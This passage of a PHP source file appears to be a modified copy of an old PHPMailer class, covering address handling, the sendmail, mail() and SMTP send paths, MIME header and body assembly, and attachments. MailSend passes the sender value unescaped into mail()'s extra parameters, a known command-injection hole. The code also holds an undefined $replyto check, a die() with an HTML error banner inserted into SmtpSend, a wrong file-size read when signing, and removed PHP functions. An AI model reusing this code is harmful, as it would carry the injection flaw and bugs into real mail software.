  1774.    * @param string $address
  1775.    * @param string $name
  1776.    * @return void
  1777.    */
  1778.   function AddCC($address, $name = '') {
  1779.     $cur = count($this->cc);
  1780.     $this->cc[$cur][0] = trim($address);
  1781.     $this->cc[$cur][1] = $name;
  1782.   }
  1783.  
  1784.   /**
  1785.    * Adds a "Bcc" address. Note: this function works
  1786.    * with the SMTP mailer on win32, not with the "mail"
  1787.    * mailer.
  1788.    * @param string $address
  1789.    * @param string $name
  1790.    * @return void
  1791.    */
  1792.   function AddBCC($address, $name = '') {
  1793.     $cur = count($this->bcc);
  1794.     $this->bcc[$cur][0] = trim($address);
  1795.     $this->bcc[$cur][1] = $name;
  1796.   }
  1797.  
  1798.   /**
  1799.    * Adds a "Reply-To" address.
  1800.    * @param string $address
  1801.    * @param string $name
  1802.    * @return void
  1803.    */
  1804.   function AddReplyTo($address, $name = '') {
  1805.     $cur = count($this->ReplyTo);
  1806.     $this->ReplyTo[$cur][0] = trim($address);
  1807.     $this->ReplyTo[$cur][1] = $name;
  1808.   }
  1809.  
  1810.   /////////////////////////////////////////////////
  1811.   // METHODS, MAIL SENDING
  1812.   /////////////////////////////////////////////////
  1813.  
  1814.   /**
  1815.    * Creates message and assigns Mailer. If the message is
  1816.    * not sent successfully then it returns false.  Use the ErrorInfo
  1817.    * variable to view description of the error.
  1818.    * @return bool
  1819.    */
  1820.   function Send() {
  1821.     $header = '';
  1822.     $body = '';
  1823.     $result = true;
  1824.  
  1825.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1826.       $this->SetError($this->Lang('provide_address'));
  1827.       return false;
  1828.     }
  1829.  
  1830.     /* Set whether the message is multipart/alternative */
  1831.     if(!empty($this->AltBody)) {
  1832.       $this->ContentType = 'multipart/alternative';
  1833.     }
  1834.  
  1835.     $this->error_count = 0; // reset errors
  1836.     $this->SetMessageType();
  1837.     $header .= $this->CreateHeader();
  1838.     $body = $this->CreateBody();
  1839.  
  1840.     if($body == '') {
  1841.       return false;
  1842.     }
  1843.  
  1844.     /* Choose the mailer */
  1845.     switch($this->Mailer) {
  1846.       case 'sendmail':
  1847.         $result = $this->SendmailSend($header, $body);
  1848.         break;
  1849.       case 'smtp':
  1850.         $result = $this->SmtpSend($header, $body);
  1851.         break;
  1852.       case 'mail':
  1853.         $result = $this->MailSend($header, $body);
  1854.         break;
  1855.       default:
  1856.         $result = $this->MailSend($header, $body);
  1857.         break;
  1858.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1859.         //$result = false;
  1860.         //break;
  1861.     }
  1862.  
  1863.     return $result;
  1864.   }
  1865.  
  1866.   /**
  1867.    * Sends mail using the $Sendmail program.
  1868.    * @access private
  1869.    * @return bool
  1870.    */
  1871.   function SendmailSend($header, $body) {
  1872.     if ($this->Sender != '') {
  1873.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1874.     } else {
  1875.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1876.     }
  1877.  
  1878.     if(!@$mail = popen($sendmail, 'w')) {
  1879.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1880.       return false;
  1881.     }
  1882.  
  1883.     fputs($mail, $header);
  1884.     fputs($mail, $body);
  1885.  
  1886.     $result = pclose($mail);
  1887.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1888.       $result = $result >> 8 & 0xFF;
  1889.     }
  1890.     if($result != 0) {
  1891.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1892.       return false;
  1893.     }
  1894.     return true;
  1895.   }
  1896.  
  1897.   /**
  1898.    * Sends mail using the PHP mail() function.
  1899.    * @access private
  1900.    * @return bool
  1901.    */
  1902.   function MailSend($header, $body) {
  1903.  
  1904.     $to = '';
  1905.     for($i = 0; $i < count($this->to); $i++) {
  1906.       if($i != 0) { $to .= ', '; }
  1907.       $to .= $this->AddrFormat($this->to[$i]);
  1908.     }
  1909.  
  1910.     $toArr = split(',', $to);
  1911.  
  1912.     $params = sprintf("-oi -f %s", $this->Sender);
  1913.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1914.       $old_from = ini_get('sendmail_from');
  1915.       ini_set('sendmail_from', $this->Sender);
  1916.       if ($this->SingleTo === true && count($toArr) > 1) {
  1917.         foreach ($toArr as $key => $val) {
  1918.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1919.         }
  1920.       } else {
  1921.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1922.       }
  1923.     } else {
  1924.       if ($this->SingleTo === true && count($toArr) > 1) {
  1925.         foreach ($toArr as $key => $val) {
  1926.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1927.         }
  1928.       } else {
  1929.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1930.       }
  1931.     }
  1932.  
  1933.     if (isset($old_from)) {
  1934.       ini_set('sendmail_from', $old_from);
  1935.     }
  1936.  
  1937.     if(!$rt) {
  1938.       $this->SetError($this->Lang('instantiate'));
  1939.       return false;
  1940.     }
  1941.  
  1942.     return true;
  1943.   }
  1944.  
  1945.   /**
  1946.    * Sends mail via SMTP using PhpSMTP (Author:
  1947.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1948.    * bad MAIL FROM, RCPT, or DATA input.
  1949.    * @access private
  1950.    * @return bool
  1951.    */
  1952.   function SmtpSend($header, $body) {
  1953.     $error = '';
  1954.     $bad_rcpt = array();
  1955.  
  1956.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1957.       return false;
  1958.     }
  1959.  
  1960.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1961.     if(!$this->smtp->Mail($smtp_from)) {
  1962.       $error = $this->Lang('from_failed') . $smtp_from;
  1963.       $this->SetError($error);
  1964.       $this->smtp->Reset();
  1965.       return false;
  1966.     }
  1967.  
  1968.     /* Attempt to send attach all recipients */
  1969.     for($i = 0; $i < count($this->to); $i++) {
  1970.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1971.         $bad_rcpt[] = $this->to[$i][0];
  1972.       }
  1973.     }
  1974.     for($i = 0; $i < count($this->cc); $i++) {
  1975.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1976.         $bad_rcpt[] = $this->cc[$i][0];
  1977.       }
  1978.     }
  1979.     for($i = 0; $i < count($this->bcc); $i++) {
  1980.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1981.         $bad_rcpt[] = $this->bcc[$i][0];
  1982.       }
  1983.     }
  1984.  
  1985.     if(count($bad_rcpt) > 0) { // Create error message
  1986.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1987.         if($i != 0) {
  1988.           $error .= ', ';
  1989.         }
  1990.         $error .= $bad_rcpt[$i];
  1991.  
  1992.       }
  1993.       $error = $this->Lang('recipients_failed') . $error;
  1994.       $this->SetError($error);
  1995.       $this->smtp->Reset();
  1996.       return false;
  1997.     }
  1998.  
  1999.     if(!$this->smtp->Data($header . $body)) {
  2000.       $this->SetError($this->Lang('data_not_accepted'));
  2001.       $this->smtp->Reset();
  2002.       return false;
  2003.     }
  2004.     if($this->SMTPKeepAlive == true) {
  2005.       $this->smtp->Reset();
  2006.     } else {
  2007.       $this->SmtpClose();
  2008.     }
  2009.  
  2010.     return true;
  2011.   }
  2012.  
  2013.   /**
  2014.    * Initiates a connection to an SMTP server.  Returns false if the
  2015.    * operation failed.
  2016.    * @access private
  2017.    * @return bool
  2018.    */
  2019.   function SmtpConnect() {
  2020.     if($this->smtp == NULL) {
  2021.       $this->smtp = new SMTP();
  2022.     }
  2023.  
  2024.     $this->smtp->do_debug = $this->SMTPDebug;
  2025.     $hosts = explode(';', $this->Host);
  2026.     $index = 0;
  2027.     $connection = ($this->smtp->Connected());
  2028.  
  2029.     /* Retry while there is no connection */
  2030.     while($index < count($hosts) && $connection == false) {
  2031.       $hostinfo = array();
  2032.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2033.         $host = $hostinfo[1];
  2034.         $port = $hostinfo[2];
  2035.       } else {
  2036.         $host = $hosts[$index];
  2037.         $port = $this->Port;
  2038.       }
  2039.  
  2040.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2041.         if ($this->Helo != '') {
  2042.           $this->smtp->Hello($this->Helo);
  2043.         } else {
  2044.           $this->smtp->Hello($this->ServerHostname());
  2045.         }
  2046.  
  2047.         $connection = true;
  2048.         if($this->SMTPAuth) {
  2049.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2050.             $this->SetError($this->Lang('authenticate'));
  2051.             $this->smtp->Reset();
  2052.             $connection = false;
  2053.           }
  2054.         }
  2055.       }
  2056.       $index++;
  2057.     }
  2058.     if(!$connection) {
  2059.       $this->SetError($this->Lang('connect_host'));
  2060.     }
  2061.  
  2062.     return $connection;
  2063.   }
  2064.  
  2065.   /**
  2066.    * Closes the active SMTP session if one exists.
  2067.    * @return void
  2068.    */
  2069.   function SmtpClose() {
  2070.     if($this->smtp != NULL) {
  2071.       if($this->smtp->Connected()) {
  2072.         $this->smtp->Quit();
  2073.         $this->smtp->Close();
  2074.       }
  2075.     }
  2076.   }
  2077.  
  2078.   /**
  2079.    * Sets the language for all class error messages.  Returns false
  2080.    * if it cannot load the language file.  The default language type
  2081.    * is English.
  2082.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2083.    * @param string $lang_path Path to the language file directory
  2084.    * @access public
  2085.    * @return bool
  2086.    */
  2087.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2088.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2089.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2090.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2091.       include($lang_path.'phpmailer.lang-en.php');
  2092.     } else {
  2093.       $this->SetError('Could not load language file');
  2094.       return false;
  2095.     }
  2096.     $this->language = $PHPMAILER_LANG;
  2097.  
  2098.     return true;
  2099.   }
  2100.  
  2101.   /////////////////////////////////////////////////
  2102.   // METHODS, MESSAGE CREATION
  2103.   /////////////////////////////////////////////////
  2104.  
  2105.   /**
  2106.    * Creates recipient headers.
  2107.    * @access private
  2108.    * @return string
  2109.    */
  2110.   function AddrAppend($type, $addr) {
  2111.     $addr_str = $type . ': ';
  2112.     $addr_str .= $this->AddrFormat($addr[0]);
  2113.     if(count($addr) > 1) {
  2114.       for($i = 1; $i < count($addr); $i++) {
  2115.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2116.       }
  2117.     }
  2118.     $addr_str .= $this->LE;
  2119.  
  2120.     return $addr_str;
  2121.   }
  2122.  
  2123.   /**
  2124.    * Formats an address correctly.
  2125.    * @access private
  2126.    * @return string
  2127.    */
  2128.   function AddrFormat($addr) {
  2129.     if(empty($addr[1])) {
  2130.       $formatted = $this->SecureHeader($addr[0]);
  2131.     } else {
  2132.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2133.     }
  2134.  
  2135.     return $formatted;
  2136.   }
  2137.  
  2138.   /**
  2139.    * Wraps message for use with mailers that do not
  2140.    * automatically perform wrapping and for quoted-printable.
  2141.    * Original written by philippe.
  2142.    * @access private
  2143.    * @return string
  2144.    */
  2145.   function WrapText($message, $length, $qp_mode = false) {
  2146.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2147.     // If utf-8 encoding is used, we will need to make sure we don't
  2148.     // split multibyte characters when we wrap
  2149.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2150.  
  2151.     $message = $this->FixEOL($message);
  2152.     if (substr($message, -1) == $this->LE) {
  2153.       $message = substr($message, 0, -1);
  2154.     }
  2155.  
  2156.     $line = explode($this->LE, $message);
  2157.     $message = '';
  2158.     for ($i=0 ;$i < count($line); $i++) {
  2159.       $line_part = explode(' ', $line[$i]);
  2160.       $buf = '';
  2161.       for ($e = 0; $e<count($line_part); $e++) {
  2162.         $word = $line_part[$e];
  2163.         if ($qp_mode and (strlen($word) > $length)) {
  2164.           $space_left = $length - strlen($buf) - 1;
  2165.           if ($e != 0) {
  2166.             if ($space_left > 20) {
  2167.               $len = $space_left;
  2168.               if ($is_utf8) {
  2169.                 $len = $this->UTF8CharBoundary($word, $len);
  2170.               } elseif (substr($word, $len - 1, 1) == "=") {
  2171.                 $len--;
  2172.               } elseif (substr($word, $len - 2, 1) == "=") {
  2173.                 $len -= 2;
  2174.               }
  2175.               $part = substr($word, 0, $len);
  2176.               $word = substr($word, $len);
  2177.               $buf .= ' ' . $part;
  2178.               $message .= $buf . sprintf("=%s", $this->LE);
  2179.             } else {
  2180.               $message .= $buf . $soft_break;
  2181.             }
  2182.             $buf = '';
  2183.           }
  2184.           while (strlen($word) > 0) {
  2185.             $len = $length;
  2186.             if ($is_utf8) {
  2187.               $len = $this->UTF8CharBoundary($word, $len);
  2188.             } elseif (substr($word, $len - 1, 1) == "=") {
  2189.               $len--;
  2190.             } elseif (substr($word, $len - 2, 1) == "=") {
  2191.               $len -= 2;
  2192.             }
  2193.             $part = substr($word, 0, $len);
  2194.             $word = substr($word, $len);
  2195.  
  2196.             if (strlen($word) > 0) {
  2197.               $message .= $part . sprintf("=%s", $this->LE);
  2198.             } else {
  2199.               $buf = $part;
  2200.             }
  2201.           }
  2202.         } else {
  2203.           $buf_o = $buf;
  2204.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2205.  
  2206.           if (strlen($buf) > $length and $buf_o != '') {
  2207.             $message .= $buf_o . $soft_break;
  2208.             $buf = $word;
  2209.           }
  2210.         }
  2211.       }
  2212.       $message .= $buf . $this->LE;
  2213.     }
  2214.  
  2215.     return $message;
  2216.   }
  2217.  
  2218.   /**
  2219.    * Finds last character boundary prior to maxLength in a utf-8
  2220.    * quoted (printable) encoded string.
  2221.    * Original written by Colin Brown.
  2222.    * @access private
  2223.    * @param string $encodedText utf-8 QP text
  2224.    * @param int    $maxLength   find last character boundary prior to this length
  2225.    * @return int
  2226.    */
  2227.   function UTF8CharBoundary($encodedText, $maxLength) {
  2228.     $foundSplitPos = false;
  2229.     $lookBack = 3;
  2230.     while (!$foundSplitPos) {
  2231.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2232.       $encodedCharPos = strpos($lastChunk, "=");
  2233.       if ($encodedCharPos !== false) {
  2234.         // Found start of encoded character byte within $lookBack block.
  2235.         // Check the encoded byte value (the 2 chars after the '=')
  2236.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2237.         $dec = hexdec($hex);
  2238.         if ($dec < 128) { // Single byte character.
  2239.           // If the encoded char was found at pos 0, it will fit
  2240.           // otherwise reduce maxLength to start of the encoded char
  2241.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2242.           $maxLength - ($lookBack - $encodedCharPos);
  2243.           $foundSplitPos = true;
  2244.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2245.           // Reduce maxLength to split at start of character
  2246.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2247.           $foundSplitPos = true;
  2248.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2249.           $lookBack += 3;
  2250.         }
  2251.       } else {
  2252.         // No encoded character found
  2253.         $foundSplitPos = true;
  2254.       }
  2255.     }
  2256.     return $maxLength;
  2257.   }
  2258.  
  2259.   /**
  2260.    * Set the body wrapping.
  2261.    * @access private
  2262.    * @return void
  2263.    */
  2264.   function SetWordWrap() {
  2265.     if($this->WordWrap < 1) {
  2266.       return;
  2267.     }
  2268.  
  2269.     switch($this->message_type) {
  2270.       case 'alt':
  2271.         /* fall through */
  2272.       case 'alt_attachments':
  2273.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2274.         break;
  2275.       default:
  2276.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2277.         break;
  2278.     }
  2279.   }
  2280.  
  2281.   /**
  2282.    * Assembles message header.
  2283.    * @access private
  2284.    * @return string
  2285.    */
  2286.   function CreateHeader() {
  2287.     $result = '';
  2288.  
  2289.     /* Set the boundaries */
  2290.     $uniq_id = md5(uniqid(time()));
  2291.     $this->boundary[1] = 'b1_' . $uniq_id;
  2292.     $this->boundary[2] = 'b2_' . $uniq_id;
  2293.  
  2294.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2295.     if($this->Sender == '') {
  2296.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2297.     } else {
  2298.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2299.     }
  2300.  
  2301.     /* To be created automatically by mail() */
  2302.     if($this->Mailer != 'mail') {
  2303.       if(count($this->to) > 0) {
  2304.         $result .= $this->AddrAppend('To', $this->to);
  2305.       } elseif (count($this->cc) == 0) {
  2306.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2307.       }
  2308.       if(count($this->cc) > 0) {
  2309.         $result .= $this->AddrAppend('Cc', $this->cc);
  2310.       }
  2311.     }
  2312.  
  2313.     $from = array();
  2314.     $from[0][0] = trim($this->From);
  2315.     $from[0][1] = $this->FromName;
  2316.     $result .= $this->AddrAppend('From', $from);
  2317.  
  2318.     /* sendmail and mail() extract Cc from the header before sending */
  2319.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2320.       $result .= $this->AddrAppend('Cc', $this->cc);
  2321.     }
  2322.  
  2323.     /* sendmail and mail() extract Bcc from the header before sending */
  2324.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2325.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2326.     }
  2327.         if($replyto != "")
  2328.         {
  2329.     if(count($this->ReplyTo) > 0) {
  2330.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2331.     }
  2332.         }
  2333.     /* mail() sets the subject itself */
  2334.     if($this->Mailer != 'mail') {
  2335.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2336.     }
  2337.  
  2338.     if($this->MessageID != '') {
  2339.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2340.     } else {
  2341.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2342.     }
  2343.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2344.     if($this->ConfirmReadingTo != '') {
  2345.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2346.     }
  2347.  
  2348.     // Add custom headers
  2349.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2350.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2351.     }
  2352.     if (!$this->sign_key_file) {
  2353.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2354.       $result .= $this->GetMailMIME();
  2355.     }
  2356.  
  2357.     return $result;
  2358.   }
  2359.  
  2360.   /**
  2361.    * Returns the message MIME.
  2362.    * @access private
  2363.    * @return string
  2364.    */
  2365.   function GetMailMIME() {
  2366.     $result = '';
  2367.     switch($this->message_type) {
  2368.       case 'plain':
  2369.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2370.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2371.         break;
  2372.       case 'attachments':
  2373.         /* fall through */
  2374.       case 'alt_attachments':
  2375.         if($this->InlineImageExists()){
  2376.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2377.         } else {
  2378.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2379.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2380.         }
  2381.         break;
  2382.       case 'alt':
  2383.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2384.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2385.         break;
  2386.     }
  2387.  
  2388.     if($this->Mailer != 'mail') {
  2389.       $result .= $this->LE.$this->LE;
  2390.     }
  2391.  
  2392.     return $result;
  2393.   }
  2394.  
  2395.   /**
  2396.    * Assembles the message body.  Returns an empty string on failure.
  2397.    * @access private
  2398.    * @return string
  2399.    */
  2400.   function CreateBody() {
  2401.     $result = '';
  2402.     if ($this->sign_key_file) {
  2403.       $result .= $this->GetMailMIME();
  2404.     }
  2405.  
  2406.     $this->SetWordWrap();
  2407.  
  2408.     switch($this->message_type) {
  2409.       case 'alt':
  2410.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2411.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2412.         $result .= $this->LE.$this->LE;
  2413.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2414.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2415.         $result .= $this->LE.$this->LE;
  2416.         $result .= $this->EndBoundary($this->boundary[1]);
  2417.         break;
  2418.       case 'plain':
  2419.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2420.         break;
  2421.       case 'attachments':
  2422.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2423.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2424.         $result .= $this->LE;
  2425.         $result .= $this->AttachAll();
  2426.         break;
  2427.       case 'alt_attachments':
  2428.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2429.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2430.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2431.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2432.         $result .= $this->LE.$this->LE;
  2433.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2434.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2435.         $result .= $this->LE.$this->LE;
  2436.         $result .= $this->EndBoundary($this->boundary[2]);
  2437.         $result .= $this->AttachAll();
  2438.         break;
  2439.     }
  2440.  
  2441.     if($this->IsError()) {
  2442.       $result = '';
  2443.     } else if ($this->sign_key_file) {
  2444.       $file = tempnam("", "mail");
  2445.       $fp = fopen($file, "w");
  2446.       fwrite($fp, $result);
  2447.       fclose($fp);
  2448.       $signed = tempnam("", "signed");
  2449.  
  2450.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2451.         $fp = fopen($signed, "r");
  2452.         $result = fread($fp, filesize($this->sign_key_file));
  2453.         fclose($fp);
  2454.       } else {
  2455.         $this->SetError($this->Lang("signing").openssl_error_string());
  2456.         $result = '';
  2457.       }
  2458.  
  2459.       unlink($file);
  2460.       unlink($signed);
  2461.     }
  2462.  
  2463.     return $result;
  2464.   }
  2465.  
  2466.   /**
  2467.    * Returns the start of a message boundary.
  2468.    * @access private
  2469.    */
  2470.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2471.     $result = '';
  2472.     if($charSet == '') {
  2473.       $charSet = $this->CharSet;
  2474.     }
  2475.     if($contentType == '') {
  2476.       $contentType = $this->ContentType;
  2477.     }
  2478.     if($encoding == '') {
  2479.       $encoding = $this->Encoding;
  2480.     }
  2481.     $result .= $this->TextLine('--' . $boundary);
  2482.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2483.     $result .= $this->LE;
  2484.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2485.     $result .= $this->LE;
  2486.  
  2487.     return $result;
  2488.   }
  2489.  
  2490.   /**
  2491.    * Returns the end of a message boundary.
  2492.    * @access private
  2493.    */
  2494.   function EndBoundary($boundary) {
  2495.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2496.   }
  2497.  
  2498.   /**
  2499.    * Sets the message type.
  2500.    * @access private
  2501.    * @return void
  2502.    */
  2503.   function SetMessageType() {
  2504.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2505.       $this->message_type = 'plain';
  2506.     } else {
  2507.       if(count($this->attachment) > 0) {
  2508.         $this->message_type = 'attachments';
  2509.       }
  2510.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2511.         $this->message_type = 'alt';
  2512.       }
  2513.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2514.         $this->message_type = 'alt_attachments';
  2515.       }
  2516.     }
  2517.   }
  2518.  
  2519.   /* Returns a formatted header line.
  2520.    * @access private
  2521.    * @return string
  2522.    */
  2523.   function HeaderLine($name, $value) {
  2524.     return $name . ': ' . $value . $this->LE;
  2525.   }
  2526.  
  2527.   /**
  2528.    * Returns a formatted mail line.
  2529.    * @access private
  2530.    * @return string
  2531.    */
  2532.   function TextLine($value) {
  2533.     return $value . $this->LE;
  2534.   }
  2535.  
  2536.   /////////////////////////////////////////////////
  2537.   // CLASS METHODS, ATTACHMENTS
  2538.   /////////////////////////////////////////////////
  2539.  
  2540.   /**
  2541.    * Adds an attachment from a path on the filesystem.
  2542.    * Returns false if the file could not be found
  2543.    * or accessed.
  2544.    * @param string $path Path to the attachment.
  2545.    * @param string $name Overrides the attachment name.
  2546.    * @param string $encoding File encoding (see $Encoding).
  2547.    * @param string $type File extension (MIME) type.
  2548.    * @return bool
  2549.    */
  2550.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2551.     if(!@is_file($path)) {
  2552.       $this->SetError($this->Lang('file_access') . $path);
  2553.       return false;
  2554.     }
  2555.  
  2556.     $filename = basename($path);
  2557.     if($name == '') {
  2558.       $name = $filename;
  2559.     }
  2560.  
  2561.     $cur = count($this->attachment);
  2562.     $this->attachment[$cur][0] = $path;
  2563.     $this->attachment[$cur][1] = $filename;
  2564.     $this->attachment[$cur][2] = $name;
  2565.     $this->attachment[$cur][3] = $encoding;
  2566.     $this->attachment[$cur][4] = $type;
  2567.     $this->attachment[$cur][5] = false; // isStringAttachment
  2568.     $this->attachment[$cur][6] = 'attachment';
  2569.     $this->attachment[$cur][7] = 0;
  2570.  
  2571.     return true;
  2572.   }
  2573.  
  2574.   /**
  2575.    * Attaches all fs, string, and binary attachments to the message.
  2576.    * Returns an empty string on failure.
  2577.    * @access private
  2578.    * @return string
  2579.    */
  2580.   function AttachAll() {
  2581.     /* Return text of body */
  2582.     $mime = array();
  2583.  
  2584.     /* Add all attachments */
  2585.     for($i = 0; $i < count($this->attachment); $i++) {
  2586.       /* Check for string attachment */
  2587.       $bString = $this->attachment[$i][5];
  2588.       if ($bString) {
  2589.         $string = $this->attachment[$i][0];
  2590.       } else {
  2591.         $path = $this->attachment[$i][0];
  2592.       }
  2593.  
  2594.       $filename    = $this->attachment[$i][1];
  2595.       $name        = $this->attachment[$i][2];
  2596.       $encoding    = $this->attachment[$i][3];
  2597.       $type        = $this->attachment[$i][4];
  2598.       $disposition = $this->attachment[$i][6];
  2599.       $cid         = $this->attachment[$i][7];
  2600.  
  2601.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2602.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2603.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2604.  
  2605.       if($disposition == 'inline') {
  2606.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2607.       }
  2608.  
  2609.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2610.  
  2611.       /* Encode as string attachment */
  2612.       if($bString) {
  2613.         $mime[] = $this->EncodeString($string, $encoding);
  2614.         if($this->IsError()) {
  2615.           return '';
  2616.         }
  2617.         $mime[] = $this->LE.$this->LE;
  2618.       } else {
  2619.         $mime[] = $this->EncodeFile($path, $encoding);
  2620.         if($this->IsError()) {
  2621.           return '';
  2622.         }
  2623.         $mime[] = $this->LE.$this->LE;
  2624.       }
  2625.     }
  2626.  
  2627.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2628.  
  2629.     return join('', $mime);
  2630.   }
  2631.  
  2632.   /**
  2633.    * Encodes attachment in requested format.  Returns an
  2634.    * empty string on failure.
  2635.    * @access private
  2636.    * @return string
  2637.    */
  2638.   function EncodeFile ($path, $encoding = 'base64') {
  2639.     if(!@$fd = fopen($path, 'rb')) {
  2640.       $this->SetError($this->Lang('file_open') . $path);
  2641.       return '';
  2642.     }
  2643.     $magic_quotes = get_magic_quotes_runtime();
  2644.     set_magic_quotes_runtime(0);
  2645.     $file_buffer = fread($fd, filesize($path));
  2646.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2647.     fclose($fd);
  2648.     set_magic_quotes_runtime($magic_quotes);
  2649.  
  2650.     return $file_buffer;
  2651.   }
  2652.  
  2653.   /**
  2654.    * Encodes string to requested format. Returns an
  2655.    * empty string on failure.
  2656.    * @access private
  2657.    * @return string
  2658.    */
  2659.   function EncodeString ($str, $encoding = 'base64') {
  2660.     $encoded = '';
  2661.     switch(strtolower($encoding)) {
  2662.       case 'base64':
